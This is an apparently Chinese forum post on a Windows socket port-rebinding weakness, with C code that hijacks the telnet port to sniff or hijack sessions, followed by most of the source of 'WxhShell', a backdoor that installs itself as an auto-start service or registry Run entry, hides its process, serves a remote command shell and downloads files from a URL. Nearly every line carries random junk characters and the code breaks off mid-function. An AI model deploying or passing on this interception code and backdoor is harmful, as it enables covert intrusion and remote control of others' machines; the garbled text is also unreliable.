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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :{qv~&+C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9l}FU$  
ld3-C55  
  saddr.sin_family = AF_INET; -M%_\;"de  
T;@;R %  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,$1eFgY%  
WtViW=j'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z^V6K3GSz-  
N5*u]j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +u!0rLb  
M(jgd  
  这意味着什么?意味着可以进行如下的攻击: GN-mrQo  
x 8Retuv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "J+3w  
~2<7ZtV=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]d,S749(s  
>2~+.WePu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uvtF_P/  
.{ 44a$)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J\d3N7_d  
%FXfqF9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ObLly%|i  
+ ` s@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #?q&r_@@  
\zieyE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8#(Q_  
~\=1'D^6CK  
  #include 7:9.&W/KE  
  #include /J04^ 6  
  #include ,S'p %g  
  #include     yyv8gH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I *x[:)X8  
  int main() Jj,U RD&0R  
  { ?47@ o1  
  WORD wVersionRequested; 4!+pc-}-  
  DWORD ret; t<~$  
  WSADATA wsaData; `kbSu}  
  BOOL val; Hu.t 3:w  
  SOCKADDR_IN saddr; ]4h92\\965  
  SOCKADDR_IN scaddr; ~n[xtWO0  
  int err; ]Tkc-ez  
  SOCKET s; N-I5X2  
  SOCKET sc; JL\w_v  
  int caddsize; z |a sa*  
  HANDLE mt; 8'<-:KG  
  DWORD tid;   Eq$&qV-?(  
  wVersionRequested = MAKEWORD( 2, 2 ); w4W_iaU  
  err = WSAStartup( wVersionRequested, &wsaData ); +<xQM h8  
  if ( err != 0 ) { }Z{=|rVE  
  printf("error!WSAStartup failed!\n"); LEW'G"+  
  return -1; *g y{]  
  } j7sKsbb  
  saddr.sin_family = AF_INET; 0G7K8`a  
   >=UF-xk;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w=LP"bqlI  
c6nflk.l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tj Gd )  
  saddr.sin_port = htons(23); k$H%.l;E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )Psb>'X  
  { %^I88,$&L  
  printf("error!socket failed!\n"); {Zh>mHW3  
  return -1; e&>;*$)  
  } h3*Zfl<]  
  val = TRUE; 3pK*~VK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZKQG:M~|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @;<ht c  
  { pY_s*0_  
  printf("error!setsockopt failed!\n"); _Qh z3'I1  
  return -1; ?T>'j mmV=  
  } UilMv~0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R,9[hNHWGs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Row)hx8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S+'rG+NJ  
L]d-hs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]Ar\c["  
  { r*$Ner  
  ret=GetLastError();  EI_  
  printf("error!bind failed!\n"); @y82L8G/  
  return -1; wY~&Q}U  
  } 1Ab>4UhD  
  listen(s,2); C8 vOE`U,J  
  while(1) ^ <Pq,u%k  
  { YnxRg  
  caddsize = sizeof(scaddr); n| b5? 3  
  //接受连接请求 $/=nU*pd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4m*M,#mV  
  if(sc!=INVALID_SOCKET) GN!qyT  
  { $BFvF ,n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~er\~kp  
  if(mt==NULL) bYi`R)  
  { YO}1(m  
  printf("Thread Creat Failed!\n"); wjh=Q  
  break; _)]+hUw Y  
  } N\HQN0d9  
  } td4[[ /  
  CloseHandle(mt); abJ" [  
  } Y`o+XimX  
  closesocket(s); Qb)C[5a}  
  WSACleanup(); HsnLm67'  
  return 0; ]d a^xWK  
  }   INkD=tX  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?Y:8eD"*  
  { zN{K5<7o  
  SOCKET ss = (SOCKET)lpParam; lW(px^&IN  
  SOCKET sc; c>/. ;p  
  unsigned char buf[4096]; ~v'3"k6  
  SOCKADDR_IN saddr; UTf9S>HS  
  long num; #]#sGmW/L  
  DWORD val; "TUe%o  
  DWORD ret; W-.pmU e2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :$_6SQ<?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H}H7lO  
  saddr.sin_family = AF_INET; N nk@h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }';D]c  
  saddr.sin_port = htons(23); m=:4`_0Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e|&6$A>4]  
  { `5~ +,/Ys  
  printf("error!socket failed!\n"); $2M#qkik-  
  return -1; /DqLrA  
  } K-f1{ 0  
  val = 100; `;l?12|X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !2z?YZhu  
  { \mw(cM#:  
  ret = GetLastError(); -0_d/'d  
  return -1; $uap8nN  
  } 5*E#*H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \MK*by  
  { 6gT5O]]#o  
  ret = GetLastError(); B9T!j]'  
  return -1; Rb%%?*|  
  } cuK,X!O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RPIyO  
  { ,SQZD,3v4  
  printf("error!socket connect failed!\n"); YKbaf(K )9  
  closesocket(sc); f{"8g"[[)(  
  closesocket(ss); 'Fs)Rx}\0  
  return -1; KAsS [  
  } *1 G>YH  
  while(1) GEEW?8  
  { uA$<\fnz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m85WA # `  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?x+Z)`w_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O/.Uh`T`6  
  num = recv(ss,buf,4096,0); *dvDap|8W  
  if(num>0) t ^[8RhD  
  send(sc,buf,num,0); xB@|LtdO9;  
  else if(num==0) { .*y  
  break; h.!}3\Y  
  num = recv(sc,buf,4096,0); =56T{N  
  if(num>0) pSm $FBW h  
  send(ss,buf,num,0); % , N<  
  else if(num==0) 0<8XI>.3D  
  break;  )@ ~J  
  } R-Z~V  
  closesocket(ss); e#,~,W.H  
  closesocket(sc); TLd`1Ac  
  return 0 ; [kqYfY?K  
  } C-8qj>  
_{Sm k [  
M:P0m6ie  
========================================================== R(-<BtM!-  
avy"r$v_&  
下边附上一个代码,,WXhSHELL Ja SI^go  
 Ug:\  
========================================================== Qj3a_p$)P  
K"u NxZ  
#include "stdafx.h" ->h6j  
? tfT8$  
#include <stdio.h> cgb2K$B_"  
#include <string.h> 7HVZZ!>~  
#include <windows.h> kGL1!=>  
#include <winsock2.h> l^d[EL+  
#include <winsvc.h> 7@6g<"I  
#include <urlmon.h> 'kYwz;gp  
.i^7|o:  
#pragma comment (lib, "Ws2_32.lib") X*Z8CM_  
#pragma comment (lib, "urlmon.lib") s;1]tD  
S,U Pl}KF  
#define MAX_USER   100 // 最大客户端连接数 /B5-Fx7j3  
#define BUF_SOCK   200 // sock buffer t6BHGX{o  
#define KEY_BUFF   255 // 输入 buffer \`, [)`  
bsd99-_(4  
#define REBOOT     0   // 重启 Dw7vv]+ S  
#define SHUTDOWN   1   // 关机 yQ3OL#  
&QG6!`fK}3  
#define DEF_PORT   5000 // 监听端口 lpRR&  
f30Pi1/h=c  
#define REG_LEN     16   // 注册表键长度 /XudV2P-CA  
#define SVC_LEN     80   // NT服务名长度 y7S4d~&  
/m( =`aRt  
// 从dll定义API rCS#{x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $7QoMV8V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zE)~0v4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fb/XC:AD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MG /,==  
tTN?r 8  
// wxhshell配置信息 'TTUN=y  
struct WSCFG { Z_gC&7+  
  int ws_port;         // 监听端口 ( Y+N@d  
  char ws_passstr[REG_LEN]; // 口令 8?*RIA.a  
  int ws_autoins;       // 安装标记, 1=yes 0=no R.LL#u};  
  char ws_regname[REG_LEN]; // 注册表键名 m%"uPv\  
  char ws_svcname[REG_LEN]; // 服务名 341?0 %=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0wFH!s/B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Bk$ lx7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Nr]X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AH4EtZC=W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -`f04_@>d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _U{([M>;  
w#N?l!5  
}; -o+74=E8[?  
=pA IvU  
// default Wxhshell configuration c9j*n;Q  
struct WSCFG wscfg={DEF_PORT, ;pD)m/$h`  
    "xuhuanlingzhe", q!f1~aG  
    1, s4%(>Q  
    "Wxhshell", 4wi(?  
    "Wxhshell", Xnuzr" 4u  
            "WxhShell Service", /U6% %%-D`  
    "Wrsky Windows CmdShell Service", mp~{W  
    "Please Input Your Password: ", fbFX4?-  
  1, Qp2I[Ioz3  
  "http://www.wrsky.com/wxhshell.exe", 9_fePS|Z4  
  "Wxhshell.exe" ]NhS=3*i+  
    }; aS|wpm)K>8  
^). )  
// 消息定义模块 D;Gq)]O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OzT#1T1'c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dml*T(WM>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XJ!(F#zc  
char *msg_ws_ext="\n\rExit."; iqhOi|!  
char *msg_ws_end="\n\rQuit."; G5D2oQa=8  
char *msg_ws_boot="\n\rReboot..."; CK_(b"  
char *msg_ws_poff="\n\rShutdown..."; /D_+{dtE  
char *msg_ws_down="\n\rSave to "; `]$?uQ  
M+wt_ _vHf  
char *msg_ws_err="\n\rErr!"; sA9 &/p/  
char *msg_ws_ok="\n\rOK!"; -ng=l;  
19(Dj&x  
char ExeFile[MAX_PATH]; Fg/dS6=n`?  
int nUser = 0; wA`"\MWm  
HANDLE handles[MAX_USER]; gPzL*6OS A  
int OsIsNt; NZu)j["  
j<pw\k{i  
SERVICE_STATUS       serviceStatus; AGYm';z3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `>D9P_Y"jI  
7%OKH<i\2<  
// 函数声明 9Q W&$n^  
int Install(void); O3n_N6| q  
int Uninstall(void); (#q<\`  
int DownloadFile(char *sURL, SOCKET wsh); `\<37E\N}  
int Boot(int flag); ,jy*1Hjd  
void HideProc(void); }a&mY^  
int GetOsVer(void); Pw@olG'Ah  
int Wxhshell(SOCKET wsl); 5&CDHc7Oj  
void TalkWithClient(void *cs); rZ_>`}O2  
int CmdShell(SOCKET sock); i.iio-  
int StartFromService(void); kllQca|$4  
int StartWxhshell(LPSTR lpCmdLine); /?"8-0d  
JO@ Bf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O`cu_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W[NEe,.>  
RV-hIdAU  
// 数据结构和表定义 ? 8 1X  
SERVICE_TABLE_ENTRY DispatchTable[] = '?o9VrO  
{ W v!<bT8r  
{wscfg.ws_svcname, NTServiceMain}, N0n^L|(R  
{NULL, NULL} d~ng6pA  
}; nY `2uN~9  
g"Q h]:  
// 自我安装 5;)*T6Y  
int Install(void) %'L;FPxB  
{ |!d"*.Q@F  
  char svExeFile[MAX_PATH]; =A[5= k>  
  HKEY key; %K 4  
  strcpy(svExeFile,ExeFile); DE{h5-g  
ZF#Rej?  
// 如果是win9x系统,修改注册表设为自启动 2aNT#J"_  
if(!OsIsNt) { F5gObIJtuY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _-cK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,7|;k2  
  RegCloseKey(key); Gie@JX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mo|wME#M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v4*rPGv  
  RegCloseKey(key); % U`xu.  
  return 0; Em13dem  
    } N~=A  
  } [A~G-  
} IGj`_a  
else { U[_8WJ7+  
(UEXxUdQ_Q  
// 如果是NT以上系统,安装为系统服务 =G-N` 39  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v.Ogf 5  
if (schSCManager!=0) Zu<]bv  
{ s[3fqdLP&  
  SC_HANDLE schService = CreateService ,[48Mspp  
  ( H!IDV }dn  
  schSCManager, i4Z4xTn  
  wscfg.ws_svcname, >tRHNB_  
  wscfg.ws_svcdisp, Lx|',6S  
  SERVICE_ALL_ACCESS, =N.!k Vkl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s<T?pH  
  SERVICE_AUTO_START, 2%rLoL$Y2+  
  SERVICE_ERROR_NORMAL, #] KgUc5B  
  svExeFile, <"&'>?8j  
  NULL, c5i%(!>  
  NULL, 0.(<'!"y  
  NULL, eS!C3xC;J]  
  NULL, V+B71\x<  
  NULL &d$~6'x*  
  ); "-i#BjZl/  
  if (schService!=0) s_wUM)!  
  { EO"C8z'al  
  CloseServiceHandle(schService); ~I_owCVZ  
  CloseServiceHandle(schSCManager); lxb8xY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zj M/M  
  strcat(svExeFile,wscfg.ws_svcname); @Jv# fr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IS_Su;w>4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |'hLa  
  RegCloseKey(key); i Q`]ms+  
  return 0; - @bp4Z=  
    } *{/@uO  
  } ZCiY,;c  
  CloseServiceHandle(schSCManager); T |"`8mG  
} )+~E8yK  
} 9Vh_[^bR  
a1x7~)z>zi  
return 1; Z[IM<S9lz  
} e6P[c=m #  
-}<g-*m"q  
// 自我卸载 snMQ"ju  
int Uninstall(void) +l\<?  
{ T1~)^qQ  
  HKEY key; "n- pl  
>A jCl  
if(!OsIsNt) { >!BFt$sd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TgaYt\"i[  
  RegDeleteValue(key,wscfg.ws_regname); ju{%'D!d9  
  RegCloseKey(key); RV!<?[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -0|K,k  
  RegDeleteValue(key,wscfg.ws_regname); R^{xwI  
  RegCloseKey(key); cC6z,0`3  
  return 0; #( uj$[o  
  } nxRwWj57  
} 8M93cyX  
} F' BdQk3o  
else { CIQwl 6H9  
T\3[F%?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GXeAe}T  
if (schSCManager!=0) !C`20,U  
{ k^*$^;z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vipp /WV  
  if (schService!=0) zh?4K*>.k  
  { /2w@ K_Px6  
  if(DeleteService(schService)!=0) { qX@9N=g`#O  
  CloseServiceHandle(schService); w6U @tW  
  CloseServiceHandle(schSCManager); #O|lfl>}  
  return 0; Bcaw~WD  
  } bF6gBM@*  
  CloseServiceHandle(schService); S:Xs '0K_  
  } (Jpm KO  
  CloseServiceHandle(schSCManager); lPS*-p#IZ  
} &7][@v  
} /co%:}ln  
j`9Nwa  
return 1; 3H'*?|Y(#  
} FfXZ|o$;  
`vEqj v  
// 从指定url下载文件 b`]M|C [5  
int DownloadFile(char *sURL, SOCKET wsh) *<dHqK`?C  
{ u+DX$#-n!]  
  HRESULT hr; j |td,82.  
char seps[]= "/"; 5&(3A|P2  
char *token; \3j)>u,r  
char *file; 3U o]> BG  
char myURL[MAX_PATH]; #Q+R%p  
char myFILE[MAX_PATH]; Lh!z>IWjOG  
$3:X+X  
strcpy(myURL,sURL); \_>?V5(  
  token=strtok(myURL,seps); 7vNtv9  
  while(token!=NULL) R-C5*$  
  { ,RN|d0dE  
    file=token; ^H'kHl'F  
  token=strtok(NULL,seps); Mi D  
  } 3{q[q#"  
J";=d4Sd  
GetCurrentDirectory(MAX_PATH,myFILE); _#(s2.h~J  
strcat(myFILE, "\\"); Y eO-gY [b  
strcat(myFILE, file); #^; s<YZ`  
  send(wsh,myFILE,strlen(myFILE),0); MLeX;He  
send(wsh,"...",3,0); `:3&@.{T(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \CwtX(6.  
  if(hr==S_OK) j`Nh7+qs  
return 0; ITQ9(W Un  
else kYtHX~@  
return 1; ,4yG(O$)  
w>vmF cp  
} fO+U HSC  
N1s.3`  
// 系统电源模块 u#!GMZJN  
int Boot(int flag) H9:%6sds  
{ 8>d q=0:  
  HANDLE hToken; qxSs ~Qc  
  TOKEN_PRIVILEGES tkp; ##2`5i-x  
"B?R| Xg  
  if(OsIsNt) { D{W SKn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /Mx.:.A&$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kU(kU2u%9  
    tkp.PrivilegeCount = 1; %xpd(&)n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yg|"-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BDp:9yau  
if(flag==REBOOT) { rFO_fIJno  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1^tSn#j  
  return 0; 'tut4SwC  
} :r-.r"[m-  
else { H}a)^90_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  )Oo2<:"  
  return 0; D2V v\f  
} pd7O`.3  
  } t#{x?cF  
  else { e@yx}:]h  
if(flag==REBOOT) { )5'rw<:="  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]*a@*0=  
  return 0; _ flg Q  
} i<Q& D\Pv  
else { OMi02tSm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mDlCt_h  
  return 0; W0U`Kt&~a  
} /t$*W\PL@  
} niQ+EAD  
i<bxc  
return 1; 5U3qr*/;m  
} r:.6"VQu}  
U(P:Je  
// win9x进程隐藏模块 Z$1.^H.Db  
void HideProc(void) )ph30B  
{ C~{xL>I  
K,G,di  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R~!\ -6%_  
  if ( hKernel != NULL ) / Z1Wy-Z  
  { '%);%y@v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QYH."7X >  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tz"5+uuu  
    FreeLibrary(hKernel); ~ t"n%SgY  
  } )G^p1o;\  
'1Y<RD>x  
return; T<XfZZ)l<`  
} 8F\~Wz7K  
m'3OGvd  
// 获取操作系统版本 [#7D~Lx/  
int GetOsVer(void) F68},N>vr@  
{ ruzMag)  
  OSVERSIONINFO winfo; "-28[a3q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T\)dt?Tv#\  
  GetVersionEx(&winfo); 5"$e=y/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~37R0`C  
  return 1; 48H5_9>:  
  else loR,XW7z  
  return 0; >G<4R o"  
} f_~}X#._  
=obt"K%n  
// 客户端句柄模块 PIgGXNo  
int Wxhshell(SOCKET wsl) 3,%nkW  
{ 9) jo7,VM  
  SOCKET wsh; Bl=nj.g  
  struct sockaddr_in client; fYb KmB  
  DWORD myID; ]"C| qR*  
-|6V}wHg~  
  while(nUser<MAX_USER) KBd7|,j  
{ 0&.LBv8  
  int nSize=sizeof(client); zoR,RBU6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $xLEA\s  
  if(wsh==INVALID_SOCKET) return 1; e',hC0&S  
F19;RaP+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %uh R'8"  
if(handles[nUser]==0) l}dj{s  
  closesocket(wsh); A>4l/  
else +GRxHuW,  
  nUser++; K3a>^g  
  } L-`(!j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Ro8W-+  
qw9e) `3$  
  return 0; 9)ACgz&(  
} aIQrb  
N-]\oMc2  
// 关闭 socket N9`y,Cos0  
void CloseIt(SOCKET wsh) #"=%b e3  
{  =|^X$H  
closesocket(wsh); q2[+-B)m  
nUser--; (qNco8QKu3  
ExitThread(0); U p_>y>x  
} Ngn\nkf  
;Gjv9:hUn  
// 客户端请求句柄 jB*9 !xrd,  
void TalkWithClient(void *cs) 5}<.1ab3V  
{ z\X60T  
Tbe_x s^  
  SOCKET wsh=(SOCKET)cs; 7yo|ie@S  
  char pwd[SVC_LEN]; 1-4   
  char cmd[KEY_BUFF]; Q,OkO?uY  
char chr[1]; ztRWIkI q  
int i,j; =~,$V<+c  
plzE  
  while (nUser < MAX_USER) { Wpiv1GZ%c8  
HR/k{"8W4Q  
if(wscfg.ws_passstr) { L#@l(8.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , LCH2r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PpX{+^z-%  
  //ZeroMemory(pwd,KEY_BUFF); L-^# 02  
      i=0;  Bq~AU#  
  while(i<SVC_LEN) { p=:7 atE  
N{?Tm`""  
  // 设置超时 43UJ#rF  
  fd_set FdRead; bx+(.F  
  struct timeval TimeOut; NTXws4'D  
  FD_ZERO(&FdRead); {Bav$kw;?e  
  FD_SET(wsh,&FdRead); wJ;9),fL  
  TimeOut.tv_sec=8; J`U$b+q6  
  TimeOut.tv_usec=0; =g{_^^n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F2Nb5WT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :6\-9m8JM  
g_3rEvf"4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O JZ!|J8?  
  pwd=chr[0]; pkrl@ jv >  
  if(chr[0]==0xd || chr[0]==0xa) { e_fg s>o`(  
  pwd=0; },?-$eyX  
  break; 7H8GkuO  
  } 44Seq  
  i++; P^'>dOI0w  
    } 9+WY@du+  
*Y| lO  
  // 如果是非法用户,关闭 socket 34&u]4=L)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V Z4nAG  
} *!-}lc^4  
fJSV)\e0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fS;m+D!j@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); avYh\xZ  
n?TO!5RZK  
while(1) { ;Xnk+  
IqR[&T)lj  
  ZeroMemory(cmd,KEY_BUFF); O3sla bE#  
Yke<Wy1  
      // 自动支持客户端 telnet标准   {[(W4NAlH  
  j=0; \t&n jMWpZ  
  while(j<KEY_BUFF) { r9p?@P\:[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -o! saX<  
  cmd[j]=chr[0]; 2c*VHIl;  
  if(chr[0]==0xa || chr[0]==0xd) { mvW^P`nB  
  cmd[j]=0; MY0[Oq cm=  
  break; +oxqS&$L  
  } :O>Nd\UtO  
  j++; z9OMC$,V  
    } K-g=td/@  
&;uGIk>s  
  // 下载文件 fzPgX  
  if(strstr(cmd,"http://")) { m\R@.jkZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V!yp@%D  
  if(DownloadFile(cmd,wsh)) Q!BkS=H30K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@3ld6y  
  else AOvH&9**  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z.cG`Km*  
  } 3!ajvSOI9j  
  else { bOnukbJ  
DI2S %N l  
    switch(cmd[0]) { DcFV^8O&  
  .q'FSEkMJ  
  // 帮助 h:US]ZC^Z  
  case '?': {  K2vPj|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !'6J;Fb#  
    break; t&p:vXF2  
  } l1`c?Y  
  // 安装 JY;#]'T\;  
  case 'i': { X~<>K/}u5  
    if(Install()) 6w .iEb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0X}w[^f  
    else !Cv<>_N).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8om9 Z3  
    break; R,(+NT$  
    } ;r2b@x:<_  
  // 卸载 CM@"lV_  
  case 'r': { 6P/9Vh j'  
    if(Uninstall()) k^vmRe<lk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OM.(g%2  
    else ,rvZW}=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S quqaX+<  
    break; Z)Xq!]~/g  
    } pqNoL* H  
  // 显示 wxhshell 所在路径 Di5Op(S((  
  case 'p': { B=nx8s  
    char svExeFile[MAX_PATH]; /fcwz5~  
    strcpy(svExeFile,"\n\r"); #!F8n`C-  
      strcat(svExeFile,ExeFile); s3fGX|;  
        send(wsh,svExeFile,strlen(svExeFile),0); @% 5F^Vbd  
    break; @)M.u3{\  
    } %Tm' aY"  
  // 重启 X~/ 9Vd g  
  case 'b': { YRT}fd>R&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sjVl/t`l  
    if(Boot(REBOOT)) 07HX5 Hd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =,} !Ns{k  
    else { v2dSC(hRZ  
    closesocket(wsh); H603L|4  
    ExitThread(0); Q=9VuTE  
    } EzY scX.[  
    break; b "AHw?5F  
    } v*T@ <]f3j  
  // 关机 ;tIIEc  
  case 'd': { 0$dY;,Q.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'rcsK  
